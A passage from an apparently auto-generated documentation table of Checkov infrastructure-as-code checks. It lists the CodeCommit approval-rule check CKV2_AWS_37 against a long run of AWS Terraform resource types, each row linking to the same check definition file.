[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1687 | CKV2_AWS_37 | resource | aws_kinesis_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1688 | CKV2_AWS_37 | resource | aws_kinesis_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1689 | CKV2_AWS_37 | resource | aws_kinesis_stream_consumer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1690 | CKV2_AWS_37 | resource | aws_kinesis_video_stream | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1691 | CKV2_AWS_37 | resource | aws_kinesisanalyticsv2_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1692 | CKV2_AWS_37 | resource | aws_kinesisanalyticsv2_application_snapshot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1693 | CKV2_AWS_37 | resource | aws_kms_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1694 | CKV2_AWS_37 | resource | aws_kms_ciphertext | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1695 | CKV2_AWS_37 | resource | aws_kms_custom_key_store | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1696 | CKV2_AWS_37 | resource | aws_kms_external_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1697 | CKV2_AWS_37 | resource | aws_kms_grant | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1698 | CKV2_AWS_37 | resource | aws_kms_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1699 | CKV2_AWS_37 | resource | aws_kms_key_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1700 | CKV2_AWS_37 | resource | aws_kms_replica_external_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1701 | CKV2_AWS_37 | resource | aws_kms_replica_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1702 | CKV2_AWS_37 | resource | aws_lakeformation_data_cells_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1703 | CKV2_AWS_37 | resource | aws_lakeformation_data_lake_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1704 | CKV2_AWS_37 | resource | aws_lakeformation_lf_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1705 | CKV2_AWS_37 | resource | aws_lakeformation_permissions | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1706 | CKV2_AWS_37 | resource | aws_lakeformation_resource | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1707 | CKV2_AWS_37 | resource | aws_lakeformation_resource_lf_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1708 | CKV2_AWS_37 | resource | aws_lakeformation_resource_lf_tags | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1709 | CKV2_AWS_37 | resource | aws_lambda_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1710 | CKV2_AWS_37 | resource | aws_lambda_code_signing_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1711 | CKV2_AWS_37 | resource | aws_lambda_event_source_mapping | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1712 | CKV2_AWS_37 | resource | aws_lambda_function | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1713 | CKV2_AWS_37 | resource | aws_lambda_function_event_invoke_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1714 | CKV2_AWS_37 | resource | aws_lambda_function_recursion_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1715 | CKV2_AWS_37 | resource | aws_lambda_function_url | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1716 | CKV2_AWS_37 | resource | aws_lambda_invocation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1717 | CKV2_AWS_37 | resource | aws_lambda_layer_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1718 | CKV2_AWS_37 | resource | aws_lambda_layer_version_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1719 | CKV2_AWS_37 | resource | aws_lambda_permission | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1720 | CKV2_AWS_37 | resource | aws_lambda_provisioned_concurrency_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1721 | CKV2_AWS_37 | resource | aws_lambda_runtime_management_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1722 | CKV2_AWS_37 | resource | aws_launch_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1723 | CKV2_AWS_37 | resource | aws_launch_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1724 | CKV2_AWS_37 | resource | aws_lb | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1725 | CKV2_AWS_37 | resource | aws_lb_cookie_stickiness_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1726 | CKV2_AWS_37 | resource | aws_lb_listener | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1727 | CKV2_AWS_37 | resource | aws_lb_listener_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1728 | CKV2_AWS_37 | resource | aws_lb_listener_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1729 | CKV2_AWS_37 | resource | aws_lb_ssl_negotiation_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1730 | CKV2_AWS_37 | resource | aws_lb_target_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1731 | CKV2_AWS_37 | resource | aws_lb_target_group_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1732 | CKV2_AWS_37 | resource | aws_lb_trust_store | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1733 | CKV2_AWS_37 | resource | aws_lb_trust_store_revocation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1734 | CKV2_AWS_37 | resource | aws_lex_bot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1735 | CKV2_AWS_37 | resource | aws_lex_bot_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1736 | CKV2_AWS_37 | resource | aws_lex_intent | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1737 | CKV2_AWS_37 | resource | aws_lex_slot_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1738 | CKV2_AWS_37 | resource | aws_lexv2models_bot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1739 | CKV2_AWS_37 | resource | aws_lexv2models_bot_locale | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1740 | CKV2_AWS_37 | resource | aws_lexv2models_bot_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1741 | CKV2_AWS_37 | resource | aws_lexv2models_intent | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1742 | CKV2_AWS_37 | resource | aws_lexv2models_slot | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1743 | CKV2_AWS_37 | resource | aws_lexv2models_slot_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1744 | CKV2_AWS_37 | resource | aws_licensemanager_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1745 | CKV2_AWS_37 | resource | aws_licensemanager_grant | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1746 | CKV2_AWS_37 | resource | aws_licensemanager_grant_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1747 | CKV2_AWS_37 | resource | aws_licensemanager_license_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1748 | CKV2_AWS_37 | resource | aws_lightsail_bucket | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1749 | CKV2_AWS_37 | resource | aws_lightsail_bucket_access_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1750 | CKV2_AWS_37 | resource | aws_lightsail_bucket_resource_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1751 | CKV2_AWS_37 | resource | aws_lightsail_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1752 | CKV2_AWS_37 | resource | aws_lightsail_container_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1753 | CKV2_AWS_37 | resource | aws_lightsail_container_service_deployment_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1754 | CKV2_AWS_37 | resource | aws_lightsail_database | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1755 | CKV2_AWS_37 | resource | aws_lightsail_disk | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1756 | CKV2_AWS_37 | resource | aws_lightsail_disk_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1757 | CKV2_AWS_37 | resource | aws_lightsail_distribution | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1758 | CKV2_AWS_37 | resource | aws_lightsail_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1759 | CKV2_AWS_37 | resource | aws_lightsail_domain_entry | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1760 | CKV2_AWS_37 | resource | aws_lightsail_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1761 | CKV2_AWS_37 | resource | aws_lightsail_instance_public_ports | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1762 | CKV2_AWS_37 | resource | aws_lightsail_key_pair | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1763 | CKV2_AWS_37 | resource | aws_lightsail_lb | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1764 | CKV2_AWS_37 | resource | aws_lightsail_lb_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1765 | CKV2_AWS_37 | resource | aws_lightsail_lb_certificate | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1766 | CKV2_AWS_37 | resource | aws_lightsail_lb_certificate_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1767 | CKV2_AWS_37 | resource | aws_lightsail_lb_https_redirection_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1768 | CKV2_AWS_37 | resource | aws_lightsail_lb_stickiness_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1769 | CKV2_AWS_37 | resource | aws_lightsail_static_ip | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1770 | CKV2_AWS_37 | resource | aws_lightsail_static_ip_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1771 | CKV2_AWS_37 | resource | aws_load_balancer_backend_server_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1772 | CKV2_AWS_37 | resource | aws_load_balancer_listener_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1773 | CKV2_AWS_37 | resource | aws_load_balancer_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1774 | CKV2_AWS_37 | resource | aws_location_geofence_collection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1775 | CKV2_AWS_37 | resource | aws_location_map | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1776 | CKV2_AWS_37 | resource | aws_location_place_index | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1777 | CKV2_AWS_37 | resource | aws_location_route_calculator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1778 | CKV2_AWS_37 | resource | aws_location_tracker | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1779 | CKV2_AWS_37 | resource | aws_location_tracker_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1780 | CKV2_AWS_37 | resource | aws_m2_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1781 | CKV2_AWS_37 | resource | aws_m2_deployment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1782 | CKV2_AWS_37 | resource | aws_m2_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1783 | CKV2_AWS_37 | resource | aws_macie2_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1784 | CKV2_AWS_37 | resource | aws_macie2_classification_export_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1785 | CKV2_AWS_37 | resource | aws_macie2_classification_job | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1786 | CKV2_AWS_37 | resource | aws_macie2_custom_data_identifier | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1787 | CKV2_AWS_37 | resource | aws_macie2_findings_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1788 | CKV2_AWS_37 | resource | aws_macie2_invitation_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1789 | CKV2_AWS_37 | resource | aws_macie2_member | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1790 | CKV2_AWS_37 | resource | aws_macie2_organization_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1791 | CKV2_AWS_37 | resource | aws_macie_member_account_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1792 